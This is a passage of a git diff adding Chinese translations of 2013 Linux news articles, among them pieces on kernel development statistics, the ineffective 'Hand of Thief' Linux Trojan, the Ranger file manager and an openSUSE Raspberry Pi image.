基金会,图表由 Stephen Shankland/CNET 提供) + +_每过去一小时,就有大约9个更新被应用到了3.10版本的Linux内核中。_ + +2012年最大的一个贡献者是微软公司(Microsoft),它为了使Windows能够在虚拟环境下(在一台计算机上运行多个操作系统的技术)与Linux和睦相处提交了688个补丁。该技术是一种在服务器市场为达到更好的硬件性能而广泛使用的方法。显然Microsoft认为这个工作已经完成了,因为它没有出现在2013年度报告中的贡献者名单中。 + +尽管新的内核大约每两个月诞生一次,还是有一些能够得到2年的长期bug和安全问题的修复,在最近两年中,3.0、3.4和3.10版本被作为主要的商业产品的基础内核版本。 + +![](http://asset2.cbsistatic.com/cnwk.1d/i/tim2/2013/09/17/Linux-total-patches_610x408.png) +(来源: 数据来自Linux 基金会,图表由 Stephen Shankland/CNET 提供) + +_每个Linux内核版本中的变更总数仍然在持续增长中。_ + +作者:[Stephen Shankland](http://www.cnet.com/profile/Stephen+Shankland/) + +via: http://news.cnet.com/8301-1035_3-57603216-94/linux-development-by-the-numbers-big-and-getting-bigger/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[theo-l][] 校对:[jasminepeng][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[theo-l]:http://linux.cn/space/theo-l +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://www.linuxfoundation.org/news-media/announcements/2013/09/linux-foundation-releases-annual-linux-development-report +[2]:http://www.linuxfoundation.org/ diff --git "a/published/201309/Linux \342\200\234HoT\342\200\235 bank Trojan- Failed malware.md" "b/published/201309/Linux \342\200\234HoT\342\200\235 bank Trojan- Failed malware.md" new file mode 100644 index 0000000000..5dbcf243b0 --- /dev/null +++ "b/published/201309/Linux \342\200\234HoT\342\200\235 bank Trojan- Failed malware.md" @@ -0,0 +1,58 @@ +Linux "HoT"银行木马:失败的恶意软件 +======================================= + +摘要:神马?又一个Linux漏洞?非也非也。其他操作系统可能很容易被恶意软件盯上,但是Linux对抗恶意软件依然坚挺。 + +作者 Steven J.Vaughan-Nichols + +起初,[HoT(Hand of Thief 盗贼之手)木马看起来将会成为第一个真正意义上成功的Linux木马][1]。但是EMC的安全部门RSA进一步研究发现,HoT木马其实只是“所谓”的Linux恶意软件而已,打个比方,就是叫的响,很少咬人。 + +![img](http://cdn-static.zdnet.com/i/r/story/70/00/020436/hot-620x92.png?hash=BQp2AJH5BT&upscale=1) +Hand of Thief:又一个失败的Linux恶意软件程序。(来源:RSA) + +是的!唯一因为这个“所谓”的木马而受伤害的也只有那些肯花2000美元去购买这款木马的“黑客”自己。 + +来自RSA的一位高级安全研究员Yotam Gottesman报告说,他们已经获取到了HoT的源代码并生成了可执行文件,发现[HoT并没有什么实际功能][2]。“我们的研究分析表明,实际上HoT的窃取能力非常有限,只相当于一个恶意软件的雏形,如果要将它作为一个商用的银行木马还需要做非常多的工作”。 + +我个人“体验”了一下HoT,感觉就好像我闻到烟味了,但其实并没有着火。它只是利用了Chrome浏览器已有补丁的一个问题。 + +HoT的生成器(builder——实际用来生成木马的部分)是一个windows程序。理论上,生成器可以产生HoT的新变体,即32位的[ELF][3]程序。ELF是Linux上的标准二进制格式。 + +一旦被安装,HoT就会从Web表单抓取信息,并将其发送到僵尸网络服务器。但是,作为恶意软件,HoT失败在最基本的地方,因为他需要用户批准才能安装。 + +在一些诸如Windows的操作系统中,在用户不知情的情况下,系统很容易感染恶意软件。而在其他系统中,例如[Android,系统如果要安装程序则必须经过用户同意才行][4]。至于Linux,普通用户想要正常安装程序更需要使出浑身解数。针对这些现状,HoT并未能够为网络犯罪提供某种机制使入侵Linux变得简单。 + +事实上,即使你真的被HoT感染了一台Linux个人电脑,它仍然几乎啥也干不了。RSA发现HoT在[Fedora][5]的firefox上常常崩溃,对 Fedora上的Chrome 常常抓取到无用的数据,而在[Ubuntu Linux][6]上它根本不能运行。 + +所以,RSA得出结论,“HoT只是赶上了网络黑市中商业木马需求量飙高的好时机,才引起了网络罪犯们的兴趣和注意。尽管它起初貌似已经成为木马界的新宠,但经过RSA的深入分析,证明它并非一款真正的商业恶意软件,只能算是一个雏形,使感染漏洞的Linux主机的浏览器崩溃,而在获取适当的数据方面,几乎没有能力。” + +关于那个入侵Linux的关键问题,“HoT的开发者声称他已经进入实施某种Web入侵机制的最终实现阶段,但是鉴于他之前开发并号称通过测试的‘表单窃取’功能并未生效,所以该Web入侵也可能无法生效。” + +文章最后,我可以进一步得出结论:无论过去或将来,唯一会因HoT陷入麻烦的,只有购买了这款无可救药的残废木马的黑客们! + + + +文章作者简介: + +Steven J. Vaughan-Nichols,亦称sjvn,早在上世纪80年代,CP/M-80还是最新的操作系统的时候,就开始撰写技术及商业文章。范围涵盖网络、Linux、开源以及操作系统。 + + +via: http://www.zdnet.com/linux-hot-bank-trojan-failed-malware-7000020436/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿][] 校对:[jasminepeng][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://www.zdnet.com/linux-desktop-trojan-hand-of-thief-steals-in-7000019175/ +[2]:https://blogs.rsa.com/rsa-peeks-into-the-bits-of-new-linux-based-trojan-hand-of-thief/ +[3]:http://www.thegeekstuff.com/2012/07/elf-object-file-format/ +[4]:http://www.zdnet.com/five-simple-ways-to-avoid-android-malware-7000017463 +[5]:http://fedoraproject.org/ +[6]:http://www.ubuntu.com/ + diff --git a/published/201309/Meet StartUbuntu, interesting open-for-participation project aimed at further spreading Ubuntu's adoption.md b/published/201309/Meet StartUbuntu, interesting open-for-participation project aimed at further spreading Ubuntu's adoption.md new file mode 100644 index 0000000000..be286b5b20 --- /dev/null +++ b/published/201309/Meet StartUbuntu, interesting open-for-participation project aimed at further spreading Ubuntu's adoption.md @@ -0,0 +1,42 @@ +认识StartUbuntu——一个开放参与,以进一步扩展Ubuntu认可度为目标的有趣项目 +================================================================================ + +Ubuntu是一个强大、稳定并不断进取的操作系统,它集中了众多特性、专业设计以及以用户为中心的交互界面,在全球拥有2000万用户。 + +Ubuntu既有强大的功能又有漂亮的界面。因此,它才能让使用它的用户的数量不断增加,同时也让Ubuntu的使用越来越广泛。 + +[StartUbuntu](https://launchpad.net/startubuntu) 是一个潜力十足的有趣项目,它是由在全世界的关注当前操作系统使用率的第三方用户们创建的。这个项目的设计是为了给更多用户推广Ubuntu的使用。 + +StartUbuntu项目清晰而明确的目标无疑是让人兴奋的,它旨在利用一个方便的策略来将用户从Windows XP处吸引过来:为那些正想更换操作系统的Windows XP用户提供整套的Ubuntu家族的发行版。 + +Ubuntu是要给那些曾经的XP用户提供一个选择,由于XP系统将于2014年4月8日停止使用,因此它的用户正在寻找一个新的操作系统。 + +![](http://iloveubuntu.net/pictures_me/startubuntu%20version%202.png) + +StartUbuntu项目刚刚重启,而且已经开始了第二版,更新了项目目标,设立了更实际的具体行动步骤,包括: + +- 第0步 定义项目并且向公众展示项目的目标 +- 第1步 建立一个开放共同参与的小组 +- 第2步 强化与新创立小组之间的沟通 +- 第3步 详细阐述为什么用户会认为Ubuntu系统相比它的竞争对手来说更好用更适合 +- 第4步 进一步并且经营好给用户提供可能的帮助的社区、基金会、项目等,以便留住那些已经考虑用Ubuntu替换XP系统的用户。 +- 第5步 得到实际的XP用户 +- 第6步 继续并且进一步扩大以上步骤 + +StartUbuntu是向每一位对推广Ubuntu使用的用户开放的,参与以及完整的信息详情,请见:[https://wiki.ubuntu.com/StartUbuntu](https://wiki.ubuntu.com/StartUbuntu) + +via: http://iloveubuntu.net/meet-startubuntu-interesting-open-participation-project-aimed-further-spreading-ubuntus-adoption + + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[markvv][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[markvv]:http://linux.cn/space/markvv +[Caroline]:http://linux.cn/space/14763 + +[1]:http://iloveubuntu.net/meet-startubuntu-interesting-open-participation-project-aimed-further-spreading-ubuntus-adoption +[2]:https://launchpad.net/startubuntu +[3]:https://wiki.ubuntu.com/StartUbuntu diff --git a/published/201309/MineSweeper Touch enriched with beautiful Suru elements.md b/published/201309/MineSweeper Touch enriched with beautiful Suru elements.md new file mode 100644 index 0000000000..3c2dcf26b8 --- /dev/null +++ b/published/201309/MineSweeper Touch enriched with beautiful Suru elements.md @@ -0,0 +1,35 @@ +MineSweeper Touch增添了漂亮的Suru元素 +================================== + +设计是Ubuntu下一代组件至关重要的部分,设计正逐步但已可见地在区域、元素和部件等方面实施,整体的设计能量正把Unbuntu的下一代组件提升到一个优越的、现代的以及创新的水平。 + +Suru是官方的设计程序的一部分。本质上讲,它是通过彩色的背景,有趣的形状和别致时尚的模块来展现一系列视觉图案,借以(在使用时)实现真正美观的应用程序。 + +Suru在官方的核心应用程序中可谓是“一流公民”了,但是,现在也已经有第三方的应用程序正在使用各种各样的Suru的变种了,其中MineSweeper Touch就是一个例子。 + +[MineSweeper Touch](https://launchpad.net/minesweeper-touch)是一款将可爱的扫雷游戏化身到Ubuntu SDK界面的奇特游戏。最近,随着新式的Suru风格在其视图中的融入,MineSweeper Touch又增添了相当有趣的外观和体验。 + +这样,当运行MineSweeper Touch时,用户会发现紫色的背景衬托着紫红色的圆角小方块,揭开这些分开放置的小方块时,它们会像显示游戏细节的已开拓区域一样变成白色的。 + +![](http://iloveubuntu.net/pictures_me/MineSweeper%20Touch%20suru%20style%201.png) + +![](http://iloveubuntu.net/pictures_me/MineSweeper%20Touch%20game%20lost.png) + +Suru风格的实现在感知和个性化方面将扫雷游戏带到了一个更高的层面:用美感愉悦着你的双眼,用行动挑战着你的智力。 + +MineSweeper Touch的代码可以在这里获得: [https://code.launchpad.net/~flscogna/minesweeper-touch/trunk-1](https://code.launchpad.net/~flscogna/minesweeper-touch/trunk-1) + +via: http://iloveubuntu.net/minesweeper-touch-enriched-beautiful-suru-elements + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:晨光 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[译者ID]:http://linux.cn/space/译者ID +[Caroline]:http://linux.cn/space/14763 + +[1]:http://iloveubuntu.net/minesweeper-touch-enriched-beautiful-suru-elements +[2]:https://launchpad.net/minesweeper-touch +[3]:https://code.launchpad.net/~flscogna/minesweeper-touch/trunk-1 \ No newline at end of file diff --git a/published/201309/MintBox 2 now available for order for $599 (Mini-PC with Linux Mint).md b/published/201309/MintBox 2 now available for order for $599 (Mini-PC with Linux Mint).md new file mode 100644 index 0000000000..43284fbeff --- /dev/null +++ b/published/201309/MintBox 2 now available for order for $599 (Mini-PC with Linux Mint).md @@ -0,0 +1,56 @@ +MintBox 2现在接受订购,售价为599美元(Linux Mint 迷你电脑) +==================================================================== + +Compulab公司现在接受MintBox2的订单,它是一个微型的采用无风扇设计的电脑,采用英特尔Ivy架构处理器、4GB内存、500GB硬盘。 这也是为数不多的预装了 [Linux Mint][1]的电脑。 + +你可以花599美元从 [Compulab的网站][2] 上订购 MintBox2。到九月底在亚马逊上会有现货,预计十月欧洲上市。 + +![img](http://cdn.liliputing.com/wp-content/uploads/2013/09/mintbox2_0.jpg "Mintbox 2") + +MintBox2的尺寸为7.5 x 6.3 x 1.6英寸 ,重约2.5磅. + +全规格包括: + +- Linux Mint 15 “Olivia” +- 英特尔酷睿i5-3337U Ivy 架构处理器和17W TDP +- 英特尔HD4000显卡 +- 4GB内存(最大支持16GB) +- 2.5寸500GB硬盘(还可以升级) +- mSATA 接口 +- 2个 eSATA 端口 +- HDMI 1.4a,显示端口(DisplayPort)1.1a +- S/PDIF 7.1 声道音效 +- 2个以太网口 +- 802.11b/g/n 无线上网 +- 蓝牙4.0 +- 2个USB3.0端口 +- 6个USB2.0端口 +- RS232串口(通用异步收发传输器) +- 迷你PCIe插槽(用于共享迷你SATA接口)和一半大小的迷你PCIe插槽(用于WIFI卡) + +此电脑有5年的保修,不过硬盘保修只有2年. + +MintBox2的处理器比上一个版本的MintBox快很多, 是 AMD G系列处理器。 您仍然可以花439美元订购 [MintBox Pro(2012)型号][2] . 这个价格可以购买的MintBox Pro 的配置是 AMD G-T56N处理器,8GB内存和250GB硬盘. + +[在亚马逊][3],Compulab公司还提供一系列的低至275美元的Fit PC品牌的迷你电脑. 真正使 Mint Box 特别的是**它的销售与Linux Mint开发人员是合作关系**,它保证不仅支持Linux Mint 15,而且支持未来的版本. + +销售收入的百分之五,会去支持Linux Mint项目. + + +via: http://liliputing.com/2013/09/mintbox-2-now-available-for-order-for-599-mini-pc-with-linux-mint.html + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[vito][] 校对:[jasminepeng][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[vito]:http://linux.cn/space/vito +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://linuxmint.com/ +[2]:http://fit-pc.com/web/purchasing/order-mintbox/ +[3]:http://www.amazon.com/s/?_encoding=UTF8&camp=1789&creative=390957&field-brandtextbin=fit-PC3&linkCode=ur2&node=172282&tag=bradlindsdigi-20 + + diff --git a/published/201309/Multimedia Production Studio ArtistX 1.5 Distro Is Based on Ubuntu 13.04.md b/published/201309/Multimedia Production Studio ArtistX 1.5 Distro Is Based on Ubuntu 13.04.md new file mode 100644 index 0000000000..1d07546ea5 --- /dev/null +++ b/published/201309/Multimedia Production Studio ArtistX 1.5 Distro Is Based on Ubuntu 13.04.md @@ -0,0 +1,45 @@ +基于Ubuntu13.04的多媒体制作工作室ArtistX 1.5 发行版 +======================================== + +刚刚发布的ArtistX 1.5,是一个基于Ubuntu的发行版,旨在能够为来自各个领域的艺术家和创作者提供一个真实自由的环境。 + +开发者们花费近十年的时间来改进这个Linux版本,目前这个新改进的ArtistX 1.5已经可以安装使用了。 + +ArtistX 1.5发行版是基于Ubuntu 13.04的(Raring Ringtail-译者注:Ubuntu 13.04的代号,直译为“铆足了劲的猫熊”),它能够将一个简单的电脑变成一个完整的多媒体制作工作室。 + +因为它是基于Ubuntu系统,所以ArtistX使用Linux内核3.8和GNOME 3.6,它也包括多达2500种免费的多媒体软件。 + +据开发者们说,ArtistX不会使用Unity,从2013年4月开始到发布之时,已经完成了所有的更新内容,如Ubiquity安装程序,以及其它更多程序。 + +![](http://i1-news.softpedia-static.com/images/news2/Multimedia-Production-Studio-ArtistX-1-5-Distro-Is-Based-on-Ubuntu-13-04-383564-2.jpg) + +开发者在公告中表示:“DVD里面所带的部分软件可以在网站的软件页面里面找到的,/usr/bin 目录下(在Linux系统上存储可执行文件的地方)有数量超过5000的二进制文件。我们现在的ArtistX拥有一个新的论坛以及列出前100个免费软件的新软件页。” + +ArtistX 1.5包括软件3D引擎及其开发,3D建模和动画处理(Art of Illusion,Ayam,Blender,Equinox 3D, K3d,Make Human,Moonlight3D,Sculptris,Wings3D,SweetHome3D,Y.A.P.R.M),音频DJ软件(Beatport SYN,Freecycle,Freewheling,Mixxx,QSampler,Smasher,Tactile 12000,TerminatorX)和声音合成器。 + +此发行版也包括其他重要的应用程序,如CAD制图软件(FreeCAD, LibreCAD),DVD后期处理,分形软件,图片与照片编辑,图片与照片查看器,OCR识别,收音机软件,TV和录制,视频编辑,视频编解码,影音动漫和卡通软件,视频VJ,而这些只是其中的一部分。 + +完整的新应用程序列表和功能可在[更新日志][1]中找到。 + + **下载 ArtistX 1.5** + +- [ArtistX 1.5 (ISO)][2] [3.70 GB] +- [MD5校验][3] [0 KB] + +--- + +via: http://news.softpedia.com/news/Multimedia-Production-Studio-ArtistX-1-5-Distro-Is-Based-on-Ubuntu-13-04-383564.shtml + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[Caroline]:http://linux.cn/space/14763 + +[1]:http://artistx.org/blog/ +[2]:http://bo.mirror.garr.it/mirrors/artistx/artistx_1.5_live_dvd_iso_15_09_2013.iso +[3]:http://bo.mirror.garr.it/mirrors/artistx/artistx_1.5_live_dvd_iso_15_09_2013.iso.md5 + diff --git a/published/201309/Nautilus-Open-Terminal - Nautilus Plugin To Open Terminal From Anywhere.md b/published/201309/Nautilus-Open-Terminal - Nautilus Plugin To Open Terminal From Anywhere.md new file mode 100644 index 0000000000..886fe05b69 --- /dev/null +++ b/published/201309/Nautilus-Open-Terminal - Nautilus Plugin To Open Terminal From Anywhere.md @@ -0,0 +1,56 @@ +Nautilus-Open-Terminal : 可随处打开终端的 Nautilus 插件 +===================================================== + +你工作中有在GUI和命令行之间切来切去吗?当你总是要在命令行中输入你要进入的目录的时候,你有沮丧无奈过吗?如果有的话,那么,你一定要试下这个nautilus插件 —— **nautilus-open-terminal**。 + +##Nautilus-Open-Terminal + +Nautilus-Open-Terminal 是一个让你随处都可以打开终端的nautilus插件。尤其是当你想在一个包含子目录的目录中对某个特定目录做命令行操作的时候,它特别有用。如果你安装了这个插件,那么你只需要做的就是右键点击这个目录,然后选择菜单项**Open in Terminal**。 + +如下图所示: + +![img](http://mylinuxbook.com/wp-content/uploads/2013/09/open-terminal-main.png "open-terminal-main") + +现在,当你点击**Open in Terminal**菜单项后,系统将会打开一个终端,以你刚刚右键所点击的目录作为终端的当前目录。 + +![img](http://mylinuxbook.com/wp-content/uploads/2013/09/open-terminal-1.png "open-terminal-1") + +因此,使用这个插件之后,从GUI到命令行就是如此简单。 + +###下载/安装 + +这里给出一些跟这个插件相关的链接: + +- [在launchpad网站上找到该插件][1] +- [在Ubuntu Packages网站上找到该插件][2] + +我第一次试着从Ubuntu软件中心下载安装这个插件的时候,报错说,我的系统中缺失一些依赖的软件包。然后又试着从命令行中下载安装,仍是相同的错误。于是,我先用命令 sudo apt-get -f install 去修复依赖关系,然后去Ubuntu软件中心下载和安装了这个插件。 + +**优势** + +这个小插件能省掉你很多时间,再也不用在命令行和GUI间切来切去。 + +**劣势** + +不得不在下载安装之前解决依赖缺失的错误。 + +**总结** + +因为它很方便,所以我会向每个人去推荐这个插件。 一旦你使用了它,你就会发现它所带来的不同. + + +转自:http://mylinuxbook.com/nautilus-open-terminal-nautilus-plugin-to-open-terminal-from-anywhere/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[younel0925][] 校对:[wxy][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[younel0925]:http://linux.cn/space/younel0925 +[wxy]:http://linux.cn/space/wxy +[1]:https://launchpad.net/ubuntu/+source/nautilus-open-terminal +[2]:http://packages.ubuntu.com/lucid/nautilus-open-terminal + + diff --git a/published/201309/New Kernel Vulnerabilities Affect Ubuntu 10.04 LTS.md b/published/201309/New Kernel Vulnerabilities Affect Ubuntu 10.04 LTS.md new file mode 100644 index 0000000000..4ca3a42478 --- /dev/null +++ b/published/201309/New Kernel Vulnerabilities Affect Ubuntu 10.04 LTS.md @@ -0,0 +1,17 @@ + +##Ubuntu 10.04 LTS受Linux新内核漏洞影响 + +几天前,Canonical宣布了一个关于安全方面的通告,Ubuntu 10.04 LTS(Lucid Lynx)的更新的内核修复了之前发现的四个安全漏洞。 + +这四个内核漏洞是:[CVE-2013-1060](http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-1060.html), [CVE-2013-1943](http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-1943.html), [CVE-2013-2206](http://people.ubuntu.com/~ubuntu-security/cve/CVE-2013-2206), [CVE-2013-4162](http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-4162.html) 。 + +你可以点击上述链接查看这些安全漏洞是如何影响你的系统,或者深入了解其细节。这几个安全漏洞同样影响其它Linux发行版。 + +修复这些安全漏洞需升级你的Linux系统的内核到linux-image-2.6.32-51 (2.6.32-51.113)版本。 + +运行更新管理程序或者按照下面的链接说明:https://wiki.ubuntu.com/Security/Upgrades 来更新。 + +更新完毕后不要忘记重启你的系统!我们同样 提醒Ubuntu 12.10,Ubuntu 13.04和Ubuntu 12.04的用户也进行内核更新。 + + +[via: http://news.softpedia.com/news/New-Kernel-Vulnerabilities-Affect-Ubuntu-10-04-LTS-381884.shtml] diff --git a/published/201309/New OpenSUSE Raspberry Pi Image.md b/published/201309/New OpenSUSE Raspberry Pi Image.md new file mode 100644 index 0000000000..0eb75cb056 --- /dev/null +++ b/published/201309/New OpenSUSE Raspberry Pi Image.md @@ -0,0 +1,42 @@ +新OpenSUSE的树莓派镜像 +=============================== + +大家好!请注意,所有的openSUSE的fans们都应该读读这篇重要的文章。你有树莓派吗?你想试试openSUSE吗?你对树莓派和openSUSE很狂热吗?想不想看看它们在一起?真让人激动,ARM版的openSUSE针对树莓派平台发布了一个新的基于ARM v6的[安装镜像][1]。这个新的openSUSE镜像是内核3.6版本,带有轻量级的X11/icewm(ice 窗口管理器),压缩后仅有82MB。 + +不用谢我,应该谢Bernhard Wiedeman。如此酷的penSUSE镜像是他使用一个openSUSE的替代镜像自动构建的。还有,你知道它最有趣的地方是什么?Bernhard Wiedeman在一个早上只用3个小时就创建建立了它,真强啊! + +如果你对这个Bernhard用来构建基于ARM v6的树莓派镜像写的自动化脚本感兴趣,你可以在[这里][2]找到。这个脚本让每个人都有机会简单的构建自己的镜像,然后分享给全世界其它的openSUSE极客们。Bernhard Wiedeman为我们写了一篇在3分钟内从头构建一个镜像的博客。是的,3分钟!并且每件事都做的尽善尽美。Bernhard Wiedeman的树莓派在55秒内启动成功。你的呢?多少时间完成启动?你能在评论中分享给我们吗?我们会非常开心的听到来自其它用户的体验。 + +当然,没有什么事情是完美的,剩余的尚未解决的问题还在解决中.下面已经列出了这些剩余的问题。 + +- 安装文件key初始化不可靠 +- 构建脚本没有出错处理 + +这个新的image相对于之前的image有什么优势? + +- 很容的改变镜像大小,因为root分区放到了最后 +- 压缩后镜像文件非常小 +- 可重复构建镜像,因此更容易定制 +- ARM v6带有浮点计算支持,因此更快 +- 有超过5200个来自openSUSE:Factory:ARM的成功构建的包 +- 举个例子,你可以使用zypper安装xauth twm xorg-x11-server xinit这些包来建立一个轻量级的图形环境, 之后使用startx启动它。 + +好了伙计们,这可不是PiSUSE去娱乐的时间,我的意思是快去试试在你的树莓派上安装openSUSE,不要喝太多的啤酒。openSUSE的伙计们快乐! + +Source: [openSUSE Lizards][3] + +via: http://www.unixmen.com/new-opensuse-raspberry-pi-image/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf01][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf01]:http://linux.cn/space/flsf01 +[wxy]:http://linux.cn/space/wxy + +[1]:http://www.zq1.de/~bernhard/linux/opensuse/raspberrypi-opensuse-20130907.img.xz +[2]:https://build.opensuse.org/package/show/devel:ARM:Factory:Contrib:RaspberryPi/altimagebuild +[3]:https://lizards.opensuse.org/2013/09/07/new-raspberry-pi-image/ + diff --git a/published/201309/Powerful ebook editor Sigil moved to new development area, looking for code contributions and active participation.md b/published/201309/Powerful ebook editor Sigil moved to new development area, looking for code contributions and active participation.md new file mode 100644 index 0000000000..6ed42f5eaa --- /dev/null +++ b/published/201309/Powerful ebook editor Sigil moved to new development area, looking for code contributions and active participation.md @@ -0,0 +1,41 @@ +强大的电子书编辑器Sigil搬到新开发区,寻求代码贡献和积极参与 +=============================================== + +Sigil是一个免费开源的所见即所得的电子书编辑器,用户可以通过功能丰富且直观的界面进行高级的电子书编辑工作。 + +Sigil拥有众多特点: + +- 多样化视图 (书卷, 代码, 预览) +- 完整的UTF-16支持 +- 能够直接编辑本书语法 +- 支持内容表创建与多级标题 +- 拥有超过200条可用条目的元数据编辑器 +- 拼写检查 +- 查找和替换 + +总而言之,它有大量的功能。 + +![](http://iloveubuntu.net/pictures_me/sigil%20code%20participation.jpg) + +但是,似乎目前Sigil正在经历一条艰难之路,也就是说,它缺少代码参与与投入。 + +今天,Sigil的主要维护者[宣布][1]Sigil “到现在为止有零个外来贡献者”, 因为缺少开发者参与而处在“垂死边缘”。 + +因此,,开发者已将Sigil移动到GitHub上托管(从之前的Google Code上),希望新的开发区—— GitHub ——,可以吸引新的感兴趣的开发者参与这个项目的开发, "我决定将项目搬到GitHub以帮助吸引贡献者",开发者表示。 + +该项目的新地址在: https://github.com/user-none/Sigil。 + +"Sigil非常漂亮,我不敢说他将来会怎么样,但是我希望转移到GitHub后有更多的人可以参与进来,帮助Sigil继续成长" + +via: http://iloveubuntu.net/powerful-ebook-editor-sigil-moved-new-development-area-looking-code-contributions-and-active + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[Jiefu][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/vito +[Jiefu]:http://linux.cn/space/Jiefu + +[1]:http://sigildev.blogspot.ro/2013/09/sigil-status.html \ No newline at end of file diff --git "a/published/201309/Ranger \342\200\223 A Text Based File Manager For Command Line Users.md" "b/published/201309/Ranger \342\200\223 A Text Based File Manager For Command Line Users.md" new file mode 100644 index 0000000000..62a0ce70b7 --- /dev/null +++ "b/published/201309/Ranger \342\200\223 A Text Based File Manager For Command Line Users.md" @@ -0,0 +1,87 @@ +Ranger – 给命令行用户一个基于文本的文件管理器 +====================================== + +图形文件管理器是每个人日常电脑工作的一部分。多数用户都乐于使用默认的文件管理器,并且没有那么多困扰让他们去探索替代的文件管理器。但是,当使用命令行(CLI)的文件管理器,用户在找到一个最好的之前,可能有兴趣尝试各种可用的文件管理器,以适合他们的需求。在这篇文章中,我们将来看看Ranger,一个基于命令行的文件管理器。 + + +![img](http://mylinuxbook.com/wp-content/uploads/2013/09/ranger-main.png "ranger-main") +**注释**:这篇文章中的所有示例和使用说明在ubuntu13.04上已通过测试。 + +###Ranger - 命令行文件管理器 + +Ranger是一个基于ncurses库的命令行文件管理器,有一个简单而简约的用户界面。它使用基本的vi式的导航键,能够预览文件和用默认程序打开它们。 + +###如何使用Ranger + +只需在命令行里键入命令ranger去执行这个程序。这是在我系统上从/home/himanshu目录执行时的ranger快照。 + +![img](http://mylinuxbook.com/wp-content/uploads/2013/09/ranger-1.png "ranger-1") + +你可以看到在单独的列上ranger显示了目录,子目录和目录里的内容。例如,如上图所示,在窗口最左边一列,代表我的系统在/home/目录下有三个目录。在这三种目录里,himanhu目录是当前已被选择的。 + +第二列代表himanshu目录的子目录。这里,Pictures子目录是当前被选择的。同样的,第三列代表呈现在图片目录的所有文件。 + +**注释**:你可以使用左右键选择一个特定的列并且使用上下键穿梭于这些列中。 + +Ranger使用默认程序去显示不同类型的文件。例如,当我导航到第三列如之前的截图并且按下我选择的文件workspace_switcher.png。下面会出现: + +![img](http://mylinuxbook.com/wp-content/uploads/2013/09/ranger-2.png "ranger-2") + +所以,你可以看到ranger在图像浏览器中打开文件。这个文件管理器另一个功能是,被选择的文件如果可能的话,可以在文件管理器中预览文件。 + +这是示例截图: + +![img](http://mylinuxbook.com/wp-content/uploads/2013/09/ranger-3.png "ranger-3") + +所以你可以看到当CMS文件被选中时,预览它的内容被显示在窗口的右边。如果想要读取完整文件,只需点击右键头,文件将在vi/vim编辑器中打开。退出vi/vim编辑器使用:q 回到文件管理器。 + +注释 - 预览图片需要一些支持库。更多方面的信息:[可以看这里][1]阅读支持部分。 + +这是关于使用ranger的一些提示: + +- 选择一个文件,按y复制它,然后导航到目标目录再按p粘贴。 +- 提示:**delete键**去删除当前被选中的文件。 +- 在文件管理器里使用问号(?)打开ranger的man手册页并且按q回到文件管理器。 +- 基于ncurses,可以很容易的通过鼠标上下滚动。 + +###下载/安装 + +这是相关ranger文件管理器的重要链接: + +- [主页][2] +- [下载][3] + +我通过apt-get在命令行下载并安装这个程序。Ubuntu用户也可以使用Ubuntu软件中心下载安装这个程序。本文使用的版本是1.5.4-1。 + +没有其他问题的话,下载和安装能够顺利完成。 + +**优点** + +- 轻松导航 +- 简约的UI +- 使用vi/vim风格命令控制 + +**缺点** + +- 只适用于基本的文件管理操作 +- 预览功能需要依赖关系被满足 + +**总结** + +Ranger是一个很好的实用程序。我将推荐这个程序给那些工作在服务器上的用户(不含GUI)。如果你主要使用命令行,并且在寻找一个好的命令行管理器,Ranger可能是一个好的选择。如果你的期望不是太高,ranger不会使你失望。 + + +via: http://mylinuxbook.com/ranger-command-line-file-manager/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/vito +[wxy]:http://linux.cn/space/wxy + +[1]:http://ranger.nongnu.org/ +[2]:http://ranger.nongnu.org/index.html +[3]:http://ranger.nongnu.org/download.html diff --git a/published/201309/Red Hat and Intel Working Closely to Bring Wayland as Default for Fedora 21.md b/published/201309/Red Hat and Intel Working Closely to Bring Wayland as Default for Fedora 21.md new file mode 100644 index 0000000000..9c6bdaaf8d --- /dev/null +++ b/published/201309/Red Hat and Intel Working Closely to Bring Wayland as Default for Fedora 21.md @@ -0,0 +1,31 @@ +Red Hat正与Intel紧密协作,力争在Fedora 21中默认加入Wayland +===================================================== + +**为了使Wayland支持GNOME,Red Hat与Intel的开发者紧密合作,希望能为Wayland加入Fedora21做好及时准备。** + 